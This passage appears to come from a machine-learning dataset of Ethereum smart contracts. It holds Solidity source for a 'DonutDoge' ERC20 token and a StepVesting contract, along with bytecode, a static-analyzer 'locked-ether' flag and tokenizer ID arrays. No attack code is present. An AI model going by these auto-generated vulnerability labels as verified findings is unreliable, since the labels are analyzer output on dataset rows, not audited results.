1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,582 | 0x9560fd0f2789d64507f90867dcc573539e8460f7 | pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'DonutDoge' token contract
//
// Deployed to : 0x452927a413BAE54246fBFD1Ef0DF1E519ad5497f
// Symbol : DOGENUT
// Name : DonutDoge
// Total supply: 1000000000000000
// Decimals : 18
//
// https://t.me/DonutDogeOfficial
// Total Supply: 1,000,000,000,000,000
// 50 % Burned
//
// (c) Homer J. S.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract DonutDoge is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function DonutDoge() public {
symbol = "DOGENUT";
name = "DonutDoge";
decimals = 18;
_totalSupply = 1000000000000000000000000000000;
balances[0x452927a413BAE54246fBFD1Ef0DF1E519ad5497f] = _totalSupply;
Transfer(address(0), 0x452927a413BAE54246fBFD1Ef0DF1E519ad5497f, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 0x606060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610117578063095ea7b3146101a557806318160ddd146101ff57806323b872dd14610228578063313ce567146102a15780633eaaf86b146102d057806370a08231146102f957806379ba5097146103465780638da5cb5b1461035b57806395d89b41146103b0578063a293d1e81461043e578063a9059cbb1461047e578063b5931f7c146104d8578063cae9ca5114610518578063d05c78da146105b5578063d4ee1d90146105f5578063dc39d06d1461064a578063dd62ed3e146106a4578063e6cb901314610710578063f2fde38b14610750575b600080fd5b341561012257600080fd5b61012a610789565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016a57808201518184015260208101905061014f565b50505050905090810190601f1680156101975780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b057600080fd5b6101e5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610827565b604051808215151515815260200191505060405180910390f35b341561020a57600080fd5b610212610919565b6040518082815260200191505060405180910390f35b341561023357600080fd5b610287600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610964565b604051808215151515815260200191505060405180910390f35b34156102ac57600080fd5b6102b4610bf4565b604051808260ff1660ff16815260200191505060405180910390f35b34156102db57600080fd5b6102e3610c07565b6040518082815260200191505060405180910390f35b341561030457600080fd5b610330600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c0d565b6040518082815260200191505060405180910390f35b341561035157600080fd5b610359610c56565b005b341561036657600080fd5b61036e610df5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103bb57600080fd5b6103c3610e1a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104035780820151818401526020810190506103e8565b50505050905090810190601f1680156104305780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561044957600080fd5b6104686004808035906020019091908035906020019091905050610eb8565b6040518082815260200191505060405180910390f35b341561048957600080fd5b6104be600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ed4565b604051808215151515815260200191505060405180910390f35b34156104e357600080fd5b610502600480803590602001909190803590602001909190505061105d565b6040518082815260200191505060405180910390f35b341561052357600080fd5b61059b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611081565b604051808215151515815260200191505060405180910390f35b34156105c057600080fd5b6105df60048080359060200190919080359060200190919050506112cb565b6040518082815260200191505060405180910390f35b341561060057600080fd5b6106086112fc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561065557600080fd5b61068a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611322565b604051808215151515815260200191505060405180910390f35b34156106af57600080fd5b6106fa600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061146e565b6040518082815260200191505060405180910390f35b341561071b57600080fd5b61073a60048080359060200190919080359060200190919050506114f5565b6040518082815260200191505060405180910390f35b341561075b57600080fd5b610787600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611511565b005b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561081f5780601f106107f45761010080835404028352916020019161081f565b820191906000526020600020905b81548152906001019060200180831161080257829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b60006109af600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610eb8565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a78600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610eb8565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b41600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114f5565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cb257600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610eb05780601f10610e8557610100808354040283529160200191610eb0565b820191906000526020600020905b815481529060010190602001808311610e9357829003601f168201915b505050505081565b6000828211151515610ec957600080fd5b818303905092915050565b6000610f1f600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610eb8565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fab600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114f5565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211151561106d57600080fd5b818381151561107857fe5b04905092915050565b600082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561125e578082015181840152602081019050611243565b50505050905090810190601f16801561128b5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15156112ac57600080fd5b6102c65a03f115156112bd57600080fd5b505050600190509392505050565b6000818302905060008314806112eb57508183828115156112e857fe5b04145b15156112f657600080fd5b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561137f57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561144b57600080fd5b6102c65a03f1151561145c57600080fd5b50505060405180519050905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000818301905082811015151561150b57600080fd5b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561156c57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a723058209e98cedd9d161daf681a7a99a02c6dc8a1ec59d8aab36b85b378e5a9a3d6e48c0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | true | null | {'detectors': [{'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]} | [
101,
1014,
2595,
2683,
26976,
2692,
2546,
2094,
2692,
2546,
22907,
2620,
2683,
2094,
21084,
12376,
2581,
2546,
21057,
20842,
2581,
16409,
2278,
28311,
19481,
23499,
2063,
2620,
21472,
2692,
2546,
2581,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2324,
1025,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1013,
1013,
1005,
2123,
4904,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,583 | 0x956258eC1299dc45c02f3c54613278cf6c3d0Df4 | // SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import "@openzeppelin/contracts/math/Math.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
contract StepVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
event ReceiverChanged(address oldWallet, address newWallet);
uint256 public immutable started;
IERC20 public immutable token;
uint256 public immutable cliffDuration;
uint256 public immutable stepDuration;
uint256 public immutable cliffAmount;
uint256 public immutable stepAmount;
uint256 public immutable numOfSteps;
address public receiver;
uint256 public claimed;
modifier onlyReceiver {
require(msg.sender == receiver, "access denied");
_;
}
constructor(
IERC20 _token,
uint256 _started,
uint256 _cliffDuration,
uint256 _stepDuration,
uint256 _cliffAmount,
uint256 _stepAmount,
uint256 _numOfSteps,
address _receiver
) public {
token = _token;
started = _started;
cliffDuration = _cliffDuration;
stepDuration = _stepDuration;
cliffAmount = _cliffAmount;
stepAmount = _stepAmount;
numOfSteps = _numOfSteps;
setReceiver(_receiver);
}
function available() public view returns(uint256) {
return claimable().sub(claimed);
}
function claimable() public view returns(uint256) {
if (block.timestamp < started.add(cliffDuration)) {
return 0;
}
uint256 passedSinceCliff = block.timestamp.sub(started.add(cliffDuration));
uint256 stepsPassed = Math.min(numOfSteps, passedSinceCliff.div(stepDuration));
return cliffAmount.add(
stepsPassed.mul(stepAmount)
);
}
function setReceiver(address _receiver) public onlyOwner {
require(_receiver != address(0), "Receiver is zero address");
emit ReceiverChanged(receiver, _receiver);
receiver = _receiver;
}
function kill(address target) external onlyOwner {
require(target != address(0), "Transfer to zero address");
uint256 amount = token.balanceOf(address(this));
token.safeTransfer(target, amount);
}
function claim() external onlyReceiver {
uint256 amount = available();
claimed = claimed.add(amount);
token.safeTransfer(msg.sender, amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
